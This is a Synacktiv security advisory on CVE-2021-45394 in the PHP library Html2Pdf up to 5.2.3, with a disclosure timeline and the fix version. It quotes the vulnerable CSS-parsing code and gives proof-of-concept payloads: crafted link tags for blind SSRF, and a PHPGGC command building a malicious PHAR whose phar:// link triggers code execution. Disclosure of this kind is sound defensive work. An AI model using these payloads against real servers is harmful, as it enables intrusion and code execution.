SYNACKTIV
DIGITAL SECURITY

Blind Server-Side Request Forgery & Unsafe Object Deserialization in Html2Pdf <= 5.2.3

Security advisory

2022-01-14

Clément Amic
Antoine Gicquel

Vulnerability description

Presentation of *Html2Pdf*

"Html2Pdf is an HTML to PDF converter written in PHP, and compatible with PHP 5.6 to 7.4. It allows the conversion of valid HTML in PDF format, to generate documents like invoices, documentation, … You have to write a code of HTML for Html2Pdf, and not try to convert directly an already existing html page. Specific tags have been implemented, to adapt the html standard to a PDF usage. You must use Composer to install this library. It uses TCPDF for the PDF part."[1]

The issue

During a security assessment, Synacktiv consultants found a vulnerability in the PDF generation mechanism, leading to blind Server-Side Request Forgery as well as Remote Code Execution on the server running the *Html2Pdf* library.

Indeed, the CSS parser of the *Html2Pdf* library performs a call to the PHP function *file_get_contents*, with an argument entirely controlled by the attacker. This function supports several protocols, among which the HTTP(S) and PHAR protocols. Thus, an attacker can perform a blind Server-Side Request Forgery attack using the *http(s)://* wrapper, and in PHP 7 and below, trigger the deserialization of PHP archives metadata using the *phar://* wrapper.

Affected versions

The *Html2Pdf* library versions 4.03 and above are vulnerable. Please note that researchers were not able to check if an older version was vulnerable, as version 4.03 is the oldest version of the library available on GitHub.

Fix status

The issue was fixed in version 5.2.4. Consider updating html2pdf to this version.

Timeline

Date	Action
2021-12-15	Vulnerabilities identified.
2021-12-15	Advisory writing.
2021-12-16	*Html2Pdf* version 5.2.4 released.
2022-01-06	The MITRE Corporation attributed CVE-2021-45394.
2022-01-14	Advisory released.

1 https://github.com/spipu/html2pdf

Technical description and proof-of-concept

Initial vulnerability discovery

During a security assessment, Synacktiv consultants found a *Stored XSS (Cross-site scripting)* vulnerability and noticed the use of the *Html2Pdf* library. As the injected HTML document was provided to the library, they read its source code and noticed the following piece of code:

```
1666      public function extractStyle($html)
1667      {
1668          // the CSS content
1669          $style = ' ';
1670
1671          // extract the link tags, and remove them in the html code
1672          preg_match_all('/<link([^>]*)>/isU', $html, $match);
1673          $html = preg_replace('/<link[^>]*>/isU', '', $html);
1674          $html = preg_replace('/<\/link[^>]*>/isU', '', $html);
1675
1676          // analyse each link tag
1677          foreach ($match[1] as $code) {
1678              $tmp = $this->tagParser->extractTagAttributes($code);
1679
1680              // if type text/css => we keep it
1681              if (isset($tmp['type']) && strtolower($tmp['type']) === 'text/css' && isset($tmp['href'])) {
1682
1683                  // get the href
1684                  $url = $tmp['href'];
1685
1686                  // get the content of the css file
1687                  $content = @file_get_contents($url);
1688
```

Illustration 1: Vulnerable code extract.

This piece of code is responsible for extracting and parsing every link tag present in the HTML document. It then proceeds to call *file_get_contents* on the *link* tag target if its type attribute is set to “text/css”. Synacktiv experts then built two proofs of concept iteratively, first demonstrating the blind Server-Side Request Forgery vulnerability, then the Insecure PHAR Deserialization leading to Remote Code Execution vulnerability.

Proof of concept of the blind Server-Side Request Forgery

Synacktiv consultants attempted to convert the following HTML document containing a specially crafted *link* tag to PDF:

```
Hello, I'm a malicious HTML document...
<link rel='stylesheet' property='stylesheet' type='text/css'
href='http://192.168.122.3:8888/'>
```

The code used to do the conversion was as follows:

```
$content = "Hello, I'm a malicious HTML document...
<link rel='stylesheet' property='stylesheet' type='text/css'
href='http://192.168.122.3:8888'>";
$html2pdf = new Html2Pdf('P', 'A4', 'fr');
$html2pdf->writeHTML($content);
$html2pdf->output('output.pdf', 'I');
```

Synacktiv consultants then set a listener on port 8888 of the machine at address 172.25.2.3 and captured the following

request during the PDF conversion:

```
$ nc -lnvp 8888
Listening on [0.0.0.0] (family 2, port 8888)
Connection from 192.168.122.4 52348 received!
GET / HTTP/1.0
Host: 192.168.122.3:8888
Connection: close
```

This acts as a proof of concept for a blind Server-Side Request Forgery vulnerability.

Proof of concept of the insecure PHAR deserialization

In order to exploit this vulnerability, the attacker needs to store a file on the target's file system at a know location. For example, they could combine it with a file upload feature that accepts *JPEG* files. Moreover, the attacker needs a suitable *PHP* gadget chain.

It is possible to use the *PHPGGC*[2] tool to generate a PHP gadget chain embedded in a PHAR file. For the proof of concept, Synacktiv consultants included the *Html2Pdf* library in a *Laravel* application and used a Laravel-dependant gadget chain:

```
$ ./phpggc -p phar -o /tmp/malicious.phar Laravel/RCE7 assert "system(\"touch
/tmp/poc.txt\")"
```

Then, the following HTML document can be converted to trigger the deserialization and trigger the payload:

```
Hello, I'm a malicious HTML document...
<link rel='stylesheet' property='stylesheet' type='text/css'
href='phar:///tmp/malicious.phar'>
```

Upon conversion, the PHP archive's metadata gets deserialized and the gadget chain is triggered, resulting in the file */tmp/poc.txt* being created on the system:

```
$ ls -lah /tmp/poc.txt
-rw-r--r-- 1 www-data www-data 0 15 déc.  17:50 /tmp/poc.txt
```

Impact

A successful exploitation of this vulnerability allows executing arbitrary code, and accessing the underlying filesystem.

2 https://github.com/ambionics/phpggc